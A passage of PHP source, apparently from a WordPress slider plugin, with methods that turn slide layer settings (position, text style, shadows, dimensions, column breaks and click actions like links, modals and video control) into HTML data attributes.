$this->normalize_device_settings($alignHor, $this->enabled_sizes, 'html-array', array('l')); $myLeft = $this->normalize_device_settings($left, $this->enabled_sizes, 'html-array', array('0', '0px')); $myVer = $this->normalize_device_settings($alignVert, $this->enabled_sizes, 'html-array', array('t')); $myTop = $this->normalize_device_settings($top, $this->enabled_sizes, 'html-array', array('0', '0px')); $myHor = $this->shorten($myHor, $f, $t); $myLeft = $this->shorten($myLeft, $f, $t); $myVer = $this->shorten($myVer, $f, $t); $myTop = $this->shorten($myTop, $f, $t); $xy .= (!in_array($myHor, array('', 0, '0', '0px'), true)) ? 'x:'.$myHor.';' : ''; $xy .= (!in_array($myLeft, array('', 0, '0', '0px'), true)) ? 'xo:'.$myLeft.';' : ''; $xy .= (!in_array($myVer, array('', 0, '0', '0px'), true)) ? 'y:'.$myVer.';' : ''; $xy .= (!in_array($myTop, array('', 0, '0', '0px'), true)) ? 'yo:'.$myTop.';' : ''; }else{ $alignHor = $this->get_biggest_device_setting($alignHor, $this->enabled_sizes); $alignVert = $this->get_biggest_device_setting($alignVert, $this->enabled_sizes); $left = $this->get_biggest_device_setting($left, $this->enabled_sizes); $top = $this->get_biggest_device_setting($top, $this->enabled_sizes); $left = $this->shorten($left, $f, $t); $top = $this->shorten($top, $f, $t); switch($alignHor){ default: case 'left': $xy .= ($left !== '') ? 'x:'.$left.';' : ''; break; case 'center': $left = (in_array($left, array('', 0, '0', '0px'), true)) ? '' : $left; $xy .= 'x:c;'; $xy .= ($left !== '') ? 'xo:'.$left.';' : ''; break; case 'right': $left = (in_array($left, array('', 0, '0', '0px'), true)) ? '' : $left; $xy .= 'x:r;'; $xy .= ($left !== '') ? 'xo:'.$left.';' : ''; break; } switch($alignVert){ default: case 'top': $xy .= ($top !== '') ? 'y:'.$top.';' : ''; break; case 'middle': $top = (in_array($top, array('', 0, '0', '0px'), true)) ? '' : $top; $xy .= 'y:c;'; $xy .= ($top !== '') ? 'yo:'.$top.';' : ''; break; case 'bottom': $top = (in_array($top, array('', 0, '0', '0px'), true)) ? '' : $top; $xy .= 'y:b;'; $xy .= ($top !== '') ? 'yo:'.$top.';' : ''; break; } } } $xy .= '"'; /** * if we are row/column -> ignore * if we are in root -> ignore //container_mode === '' **/ if(!in_array($type, array('row', 'column'), true) && $this->container_mode !== ''){ if(empty($pos) && in_array($this->container_mode, array('row', 'column'), true)) $pos = 'relative'; $p = ($pos === 'relative') ? 'r' : 'a'; $xy .= "\n".$this->ld().RS_T8.'data-pos="'.$p.'"'; } return ($xy !== 'data-xy=""') ? $xy : ''; } /** * get the data-text data HTML **/ public function get_html_text_data(){ $layer = $this->get_layer(); $text = 'data-text="'; $data = array(); $type = $this->get_val($layer, 'type', 'text'); $de = array( 's' => array(20, '20', '20px'), 'l' => (in_array($type, array('text', 'button'))) ? array(25, '25', '25px') : array(0, '0', '0px'), 'ls' => array(0, '0', '0px'), 'fw' => array(400, '400'), 'w' => array('nowrap'), 'a' => array('left'), 'f' => array('none'), 'c' => array('none') ); if($this->adv_resp_sizes == true){ $ws = $this->normalize_device_settings($this->get_val($layer, array('idle', 'whiteSpace')), $this->enabled_sizes, 'html-array', $de['w']); }else{ $ws = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'whiteSpace'), $de['w'][0]), $this->enabled_sizes); } $ws = (strpos($ws, 'content') !== false) ? str_replace('content', 'nowrap', $ws) : $ws; $ws = (strpos($ws, 'full') !== false) ? str_replace('full', 'normal', $ws) : $ws; $data['w'] = $ws; if($this->adv_resp_sizes == true){ $data['s'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'fontSize')), $this->enabled_sizes, 'html-array', $de['s']); $data['f'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'float')), $this->enabled_sizes, 'html-array', $de['f']); $data['c'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'clear')), $this->enabled_sizes, 'html-array', $de['c']); $data['l'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'lineHeight')), $this->enabled_sizes, 'html-array', $de['l']); $data['ls'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'letterSpacing')), $this->enabled_sizes, 'html-array', $de['ls']); $data['fw'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'fontWeight')), $this->enabled_sizes, 'html-array', $de['fw']); $data['a'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textAlign')), $this->enabled_sizes, 'html-array', $de['a']); }else{ $data['s'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'fontSize')), $this->enabled_sizes); $data['f'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'float')), $this->enabled_sizes); $data['c'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'clear')), $this->enabled_sizes); $data['l'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'lineHeight')), $this->enabled_sizes); $data['ls'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'letterSpacing')), $this->enabled_sizes); $data['fw'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'fontWeight')), $this->enabled_sizes); $data['a'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textAlign')), $this->enabled_sizes); } $data['s'] = str_replace('px', '', $data['s']); $data['l'] = str_replace('px', '', $data['l']); //only one size every available, so its outside of the if() check from before $textDecoration = $this->get_val($layer, array('idle', 'textDecoration')); if($textDecoration !== 'none'){ $data['td'] = $textDecoration; } if(!empty($data)){ foreach($data as $k => $d){ if(!empty($d)){ if($d !== ''){ $text .= $k.':'.$d.';'; } } } } $text .= '"'; return ($text !== 'data-text=""') ? $text : ''; } /** * get the data-float data HTML **/ public function get_float_clear_data(){ $layer = $this->get_layer(); $text = 'data-flcr="'; $data = array(); $de = array( 'f' => array('none'), 'c' => array('none') ); if($this->adv_resp_sizes == true){ $data['f'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'float')), $this->enabled_sizes, 'html-array', $de['f']); $data['c'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'clear')), $this->enabled_sizes, 'html-array', $de['c']); }else{ $data['f'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'float')), $this->enabled_sizes); $data['c'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'clear')), $this->enabled_sizes); } if(!empty($data)){ foreach($data as $k => $d){ if(!empty($d)){ if($d !== ''){ $text .= $k.':'.$d.';'; } } } } $text .= '"'; return ($text !== 'data-flcr=""') ? $text : ''; } /** * get the data-color="" HTML **/ public function get_html_color_data(){ $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $text = 'data-color="'; if(in_array($type, array('text', 'svg', 'button'), true)){ if($this->adv_resp_sizes == true){ $color = $this->normalize_device_settings($this->get_val($layer, array('idle', 'color'), '#ffffff'), $this->enabled_sizes, 'html-array', array('#ffffff'), array('' => '#ffffff'), '||'); }else{ $color = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'color'), '#ffffff'), $this->enabled_sizes); $color = (trim($color) === '') ? '#ffffff' : $color; } $text .= ($color !== '') ? $color : ''; } $text .= '"'; return ($text !== 'data-color=""') ? $text : ''; } /** * get the data-bsh="" HTML **/ public function get_html_box_shadow_data(){ $layer = $this->get_layer(); $text = 'data-bsh="'; if($this->get_val($layer, array('idle', 'boxShadow', 'inuse'), false) === true){ $color = str_replace(' ', '', $this->get_val($layer, array('idle', 'boxShadow', 'color'), 'rgba(0,0,0,0.25)')); if($this->get_val($layer, array('idle', 'boxShadow', 'container'), 'content') !== 'content') $text.= 'e:w'; //w for wrapper if(!in_array($color, array('rgba(0,0,0,0.25)'))) $text.= 'c:'.$color.';'; $data = array(); if($this->adv_resp_sizes == true){ $data['h'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'boxShadow', 'hoffset')), $this->enabled_sizes, 'html-array', array(0)); $data['v'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'boxShadow', 'voffset')), $this->enabled_sizes, 'html-array', array(0)); $data['b'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'boxShadow', 'blur')), $this->enabled_sizes, 'html-array', array(0)); $data['s'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'boxShadow', 'spread')), $this->enabled_sizes, 'html-array', array(0)); }else{ $data['h'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'boxShadow', 'hoffset')), $this->enabled_sizes, 0); $data['v'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'boxShadow', 'voffset')), $this->enabled_sizes, 0); $data['b'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'boxShadow', 'blur')), $this->enabled_sizes, 0); $data['s'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'boxShadow', 'spread')), $this->enabled_sizes, 0); } if(!empty($data)){ foreach($data as $k => $v){ $text .= (!in_array(trim($v), array(0, '0', '0px', ''), true)) ? $k.':'.$v.';' : ''; } } } $text .= '"'; return ($text !== 'data-bsh=""') ? $text : ''; } /** * get the data-tsh="" HTML **/ public function get_html_text_shadow_data(){ $layer = $this->get_layer(); $text = 'data-tsh="'; if($this->get_val($layer, 'type', 'text') === 'text'){ if($this->get_val($layer, array('idle', 'textShadow', 'inuse'), false) === true){ $color = str_replace(' ', '', $this->get_val($layer, array('idle', 'textShadow', 'color'), 'rgba(0,0,0,0.25)')); if($this->get_val($layer, array('idle', 'textShadow', 'container'), 'content') !== 'content') $text.= 'e:w'; //w for wrapper if(!in_array($color, array('rgba(0,0,0,0.25)'))) $text.= 'c:'.$color.';'; $data = array(); if($this->adv_resp_sizes == true){ $data['h'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textShadow', 'hoffset')), $this->enabled_sizes, 'html-array', array(0)); $data['v'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textShadow', 'voffset')), $this->enabled_sizes, 'html-array', array(0)); $data['b'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textShadow', 'blur')), $this->enabled_sizes, 'html-array', array(0)); }else{ $data['h'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textShadow', 'hoffset')), $this->enabled_sizes, 0); $data['v'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textShadow', 'voffset')), $this->enabled_sizes, 0); $data['b'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textShadow', 'blur')), $this->enabled_sizes, 0); } if(!empty($data)){ foreach($data as $k => $v){ $text .= (!in_array(trim($v), array(0, '0', '0px', ''), true)) ? $k.':'.$v.';' : ''; } } } } $text .= '"'; return ($text !== 'data-tsh=""') ? $text : ''; } /** * get the data-dim="" HTML **/ public function get_html_dim_data(){ $dim = 'data-dim="'; $layer = $this->get_layer(); $type = $this->get_val($layer, 'type', 'text'); $data = array(); if($type !== 'column'){ if($this->adv_resp_sizes == true){ $data['w'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'width')), $this->enabled_sizes, 'html-array', array('auto')); $data['h'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'height')), $this->enabled_sizes, 'html-array', array('auto')); $data['maxw'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'maxWidth'), 'auto'), $this->enabled_sizes, 'html-array', array('none'), array('none' => 'n')); $data['maxh'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'maxHeight'), 'auto'), $this->enabled_sizes, 'html-array', array('none'), array('none' => 'n')); $data['minw'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'minWidth'), 'auto'), $this->enabled_sizes, 'html-array', array('none'), array('none' => 'n')); $data['minh'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'minHeight'), 'auto'), $this->enabled_sizes, 'html-array', array('none'), array('none' => 'n')); }else{ $data['w'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'width')), $this->enabled_sizes); $data['h'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'height')), $this->enabled_sizes); $data['maxw'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'maxWidth'), 'auto'), $this->enabled_sizes); $data['maxh'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'maxHeight'), 'auto'), $this->enabled_sizes); $data['minw'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'minWidth'), 'auto'), $this->enabled_sizes); $data['minh'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'minHeight'), 'auto'), $this->enabled_sizes); } if($type === 'video'){ $data['w'] = ($this->is_full_width_video() == true) ? '100%' : $data['w']; $data['h'] = ($this->is_full_width_video() == true) ? '100%' : $data['h']; } if($type === 'image'){ $scaleX = $this->get_val($layer, array('size', 'width')); $scaleY = $this->get_val($layer, array('size', 'height')); $cover_mode = $this->get_val($layer, array('size', 'covermode'), array()); $cover_mode = (is_string($cover_mode)) ? array('d' => $cover_mode, 'n' => $cover_mode, 't' => $cover_mode, 'm' => $cover_mode) : (array)$cover_mode; if($this->adv_resp_sizes == true){ foreach($cover_mode as $cvmk => $cvmv){ if($cvmv !== 'custom' && $cvmv !== 'fullheight'){ $this->set_val($scaleX, array($cvmk, 'v'), '100%'); } if($cvmv !== 'custom' && $cvmv !== 'fullwidth'){ $this->set_val($scaleY, array($cvmk, 'v'), '100%'); } } $myScaleX = $this->normalize_device_settings($scaleX, $this->enabled_sizes, 'html-array', array('auto'), array('NaNpx' => '', 'auto' => '')); $myScaleY = $this->normalize_device_settings($scaleY, $this->enabled_sizes, 'html-array', array('auto'), array('NaNpx' => '', 'auto' => '')); if($myScaleX == "'','','',''") $myScaleX = ''; if($myScaleY == "'','','',''") $myScaleY = ''; $x_is_single = (strpos($myScaleX, ',') !== false) ? false : true; $y_is_single = (strpos($myScaleY, ',') !== false) ? false : true; if($x_is_single){ //force to array if voffset is also array if(!isset($myScaleX)) $myScaleX = $this->get_biggest_device_setting($scaleX, $this->enabled_sizes); $myScaleX = (trim($myScaleX) == '' || $myScaleX == 'NaNpx' || $myScaleX == 'auto') ? '' : "['".$myScaleX."','".$myScaleX."','".$myScaleX."','".$myScaleX."']"; } if($y_is_single){ //force to array if voffset is also array if(!isset($myScaleY)) $myScaleY = $this->get_biggest_device_setting($scaleY, $this->enabled_sizes); $myScaleY = (trim($myScaleY) == '' || $myScaleY == 'NaNpx' || $myScaleY == 'auto') ? '' : "['".$myScaleY."','".$myScaleY."','".$myScaleY."','".$myScaleY."']"; } }else{ $myScaleX = $this->get_biggest_device_setting($scaleX, $this->enabled_sizes); if(trim($myScaleX) == '' || $myScaleX == 'NaNpx') $myScaleX = 'auto'; $myScaleY = $this->get_biggest_device_setting($scaleY, $this->enabled_sizes); if(trim($myScaleY) == '' || $myScaleY == 'NaNpx') $myScaleY = 'auto'; foreach($cover_mode as $cvmk => $cvmv){ if($cvmv !== 'custom' && $cvmv !== 'fullheight'){ $myScaleX = '100%'; } if($cvmv !== 'custom' && $cvmv !== 'fullwidth'){ $myScaleY = '100%'; } break; } } if($myScaleX != '') $data['w'] = $myScaleX; if($myScaleY != '') $data['h'] = $myScaleY; } if(!empty($data)){ foreach($data as $k => $v){ $dim .= (!in_array(trim($v), array(-1, '-1', '', 'auto'), true)) ? $k.':'.$v.';' : ''; } } } $dim .= '"'; return ($dim !== 'data-dim=""') ? $dim : ''; } /** * return the column break HTML **/ public function get_html_column_break(){ $layer = $this->get_layer(); $break = ''; if($this->get_val($layer, 'type', 'text') === 'row') { $break = $this->get_val($layer, array('group', 'columnbreakat'), 'tablet'); if($break === 'desktop') $break = '0'; if($break === 'notebook') $break = '1'; if($break === 'tablet') $break = ''; //as default, dont write it, so set it back to empty (was 2) if($break === 'mobile') $break = '3'; } return ($break != '') ? 'data-cbreak="'.$break.'"' : ''; } /** * retrieves the current layer attribute id by given target **/ public function get_layer_attribute_id($target){ $layer_attribute_id = $this->slide->get_layer_id_by_uid($target, $this->static_slide); if($target == 'backgroundvideo' || $target == 'firstvideo'){ $layer_attribute_id = $target; }elseif(trim($layer_attribute_id) == ''){ if(strpos($target, 'static-') !== false){ $ss = $this->get_static_slide(); $layer_attribute_id = 'slider-'.preg_replace("/[^\w]+/", "", $this->slider->get_id()).'-slide-'.$ss->get_id().'-layer-'.str_replace('static-', '', $target); //$layer_attribute_id = 'slider-'.preg_replace("/[^\w]+/", "", $this->slider->get_id()).'-slide-'.$this->get_slide_id().'-layer-'.str_replace('static-', '', $target); }elseif($this->static_slide){ $layer_attribute_id = 'slider-'.preg_replace("/[^\w]+/", "", $this->slider->get_id()).'-slide-'.preg_replace("/[^\w]+/", "", $this->get_slide_id()).'-layer-'.str_replace('static-', '', $target); }else{ $layer_attribute_id = 'slide-'.preg_replace("/[^\w]+/", "", $this->get_slide_id()).'-layer-'.$target; } } return $layer_attribute_id; } /** * create the layer action HTML **/ public function get_html_layer_action(&$html_simple_link){ $layer = $this->get_layer(); $html = "data-actions='"; $events = array(); $all_actions = $this->get_val($layer, 'actions', array()); $actions = $this->get_val($all_actions, 'action', array()); if(!empty($actions)){ foreach($actions as $num => $action){ $layer_attribute_id = ''; $act = $this->get_val($action, 'action'); switch($act){ case 'start_in': case 'start_out': case 'start_video': case 'stop_video': case 'toggle_layer': case 'toggle_frames': case 'toggle_video': case 'simulate_click': case 'toggle_class': case 'toggle_mute_video': case 'mute_video': case 'unmute_video': case 'start_frame': case 'next_frame': case 'prev_frame': //get the ID of the layer with the uid that is $target $target = $this->get_val($action, 'layer_target', ''); $layer_attribute_id = $this->get_layer_attribute_id($target); break; } /** * translation list * o = event, a = action, d = delay **/ switch($act){ case 'none': continue 2; break; case 'menu': $menu_link = $this->get_val($action, 'menu_link', ''); $menu_link = do_shortcode($menu_link); $http = $this->get_val($action, 'link_help_in', 'keep'); $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'menulink', 'target' => $this->remove_http($this->get_val($action, 'link_open_in', ''), $http), 'url' => $menu_link, 'anchor' => $this->get_val($action, 'menu_anchor', ''), 'offset' => $this->get_val($action, 'scrollunder_offset', ''), 'sp' => $this->get_val($action, 'action_speed', '300'), 'e' => $this->get_val($action, 'action_easing', 'none'), 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); $easing = $this->get_val($action, 'action_easing', 'none'); $this->easings[$easing] = $easing; break; case 'link': //if post based, replace {{}} with correct info //image_link $image_link = $this->get_val($action, 'image_link', ''); $image_link = do_shortcode($image_link); $http = $this->get_val($action, 'link_help_in', 'keep'); if($this->get_val($action, 'link_type', '') == 'jquery'){ $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'simplelink', 'target' => $this->remove_http($this->get_val($action, 'link_open_in', ''), $http), 'url' => $image_link, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); } break; case 'jumpto': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'jumptoslide', 'slide' => 'rs-'.$this->get_val($action, 'jump_to_slide', ''), 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'next': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'jumptoslide', 'slide' => 'next', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'gofullscreen': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'gofullscreen', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'toggle_global_mute_video': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'toggle_global_mute_video', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'exitfullscreen': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'exitfullscreen', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'togglefullscreen': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'togglefullscreen', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'prev': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'jumptoslide', 'slide' => 'previous', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'pause': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'pauseslider', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'resume': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'playslider', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'toggle_slider': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'toggleslider', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'open_modal': $_modal = $this->get_val($action, 'openmodal', ''); $_event = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'openmodal', 'modal' => $_modal, 'ms' => $this->get_val($action, 'modalslide', ''), 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); if(!empty($_modal)){ if(!isset($this->modal_sliders[$_modal])){ global $rs_do_init_action; $rs_do_init_action = false; $this->modal_sliders[$_modal] = new RevSliderSlider(); $this->modal_sliders[$_modal]->init_by_mixed($_modal, false); $_event['sp'] = $this->modal_sliders[$_modal]->get_param(array('modal', 'coverSpeed'), 1); $rs_do_init_action = true; } if($this->modal_sliders[$_modal]->get_param(array('modal', 'allowPageScroll'), false) === true){ $_event['allowPageScroll'] = true; } if($this->modal_sliders[$_modal]->get_param(array('modal', 'cover'), true) === true){ $_event['bg'] = $this->modal_sliders[$_modal]->get_param(array('modal', 'coverColor'), 'rgba(0,0,0,0.5)'); } if($this->modal_sliders[$_modal]->get_param(array('layout', 'spinner', 'type'), 'off') !== 'off'){ $_event['spin'] = $this->modal_sliders[$_modal]->get_param(array('layout', 'spinner', 'type'), '0'); $_event['spinc'] = $this->modal_sliders[$_modal]->get_param(array('layout', 'spinner', 'color'), '#FFFFFF'); } } $events[] = $_event; $this->frontend_action = true; break; case 'close_modal': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'closemodal', 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'callback': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'callback', 'call' => $this->replace_html_ids($this->get_val($action, 'actioncallback', '')), 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'scroll_under': //ok $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'scrollbelow', 'offset' => $this->get_val($action, 'scrollunder_offset', ''), 'd' => $this->get_val($action, 'action_delay', ''), 'sp' => $this->get_val($action, 'action_speed', '300'), 'e' => $this->get_val($action, 'action_easing', 'none'), 'rd' => $this->get_val($action, 'action_repeats', '') ); $easing = $this->get_val($action, 'action_easing', 'none'); $this->easings[$easing] = $easing; break; case 'scrollto': //ok $events[] = array( 'id' => $this->replace_html_ids($this->get_val($action, 'scrollto_id', ''), ''), 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'scrollto', 'offset' => $this->get_val($action, 'scrollunder_offset', ''), 'd' => $this->get_val($action, 'action_delay', ''), 'sp' => $this->get_val($action, 'action_speed', '300'), 'e' => $this->get_val($action, 'action_easing', 'none'), 'rd' => $this->get_val($action, 'action_repeats', '') ); $easing = $this->get_val($action, 'action_easing', 'none'); $this->easings[$easing] = $easing; break; case 'start_in': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'startlayer', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'ch' => $this->get_val($action, 'updateChildren', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'getAccelerationPermission': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'getAccelerationPermission', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'next_frame': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'nextframe', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'ch' => $this->get_val($action, 'updateChildren', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'prev_frame': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'prevframe', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'ch' => $this->get_val($action, 'updateChildren', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'start_frame': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'gotoframe', 'layer' => $layer_attribute_id, 'f' => $this->get_val($action, 'gotoframe', ''), 'd' => $this->get_val($action, 'action_delay', ''), 'ch' => $this->get_val($action, 'updateChildren', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'start_out': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'stoplayer', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'ch' => $this->get_val($action, 'updateChildren', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'toggle_layer': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'togglelayer', 'ls' => $this->get_val($action, 'toggle_layer_type', ''), 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'ch' => $this->get_val($action, 'updateChildren', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'toggle_frames': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'toggleframes', 'ls' => $this->get_val($action, 'toggle_layer_type', ''), 'm' => $this->get_val($action, 'gotoframeM', ''), 'n' => $this->get_val($action, 'gotoframeN', ''), 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'ch' => $this->get_val($action, 'updateChildren', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'start_video': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'playvideo', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'stop_video': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'stopvideo', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'mute_video': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'mutevideo', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'unmute_video': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'unmutevideo', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'toggle_video': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'togglevideo', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'toggle_mute_video': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'toggle_mute_video', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'simulate_click': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'simulateclick', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; case 'toggle_class': $events[] = array( 'o' => $this->get_val($action, 'tooltip_event', ''), 'a' => 'toggleclass', 'layer' => $layer_attribute_id, 'd' => $this->get_val($action, 'action_delay', ''), 'class' => $this->get_val($action, 'toggle_class', ''), 'rd' => $this->get_val($action, 'action_repeats', '') ); break; } // Filter the Actions $events = apply_filters('rs_action_output_layer_action', $events, $action, $all_actions, $num, $this->slide, $this); if(!isset($html_simple_link)){ $html_simple_link = ''; } $html_simple_link = apply_filters('rs_action_output_layer_simple_link', $html_simple_link, $action, $all_actions, $num, $this->slide, $this->slider, $events, $this); } if(!empty($events)){ $first = true; foreach($events as $event){ if(!empty($event)){ $html .= ($first === false) ? '||' : ''; foreach($event as $k => $v){ if(!in_array($v, array(''), true)){ if(is_bool($v)) $v = ($v === true) ? 'true' : 'false'; $html .= $k.':'.$v.';'; } } $first = false; } } } } $html .= "'"; return ($html !== "data-actions=''") ? $html : ''; } /** * get the html class for a layer **/ public function get_html_class($class, $layer_tag){ $html = 'class="'; $c = array(); if(!in_array($layer_tag, array('rs-row', 'rs-column', 'rs-layer', 'rs-group', 'rs-bgvideo'), true)){ $c[] = 'rs-layer'; } if(trim($class) !== ''){ $c[] = trim($class); } if($this->get_html_tab_index() !== ''){ $c[] = 'rs-wtbindex'; } if($this->slider->get_param(array('parallax', 'set'), false) === true){ $layer = $this->get_layer(); if($this->get_val($layer, array('effects', 'parallax'), '-') !== '-'){ if($this->get_val($layer, array('effects', 'pxmask'), false) === true){ $c[] = 'rs-pxmask'; } } } $c = apply_filters('revslider_add_layer_classes', $c, $this->layer, 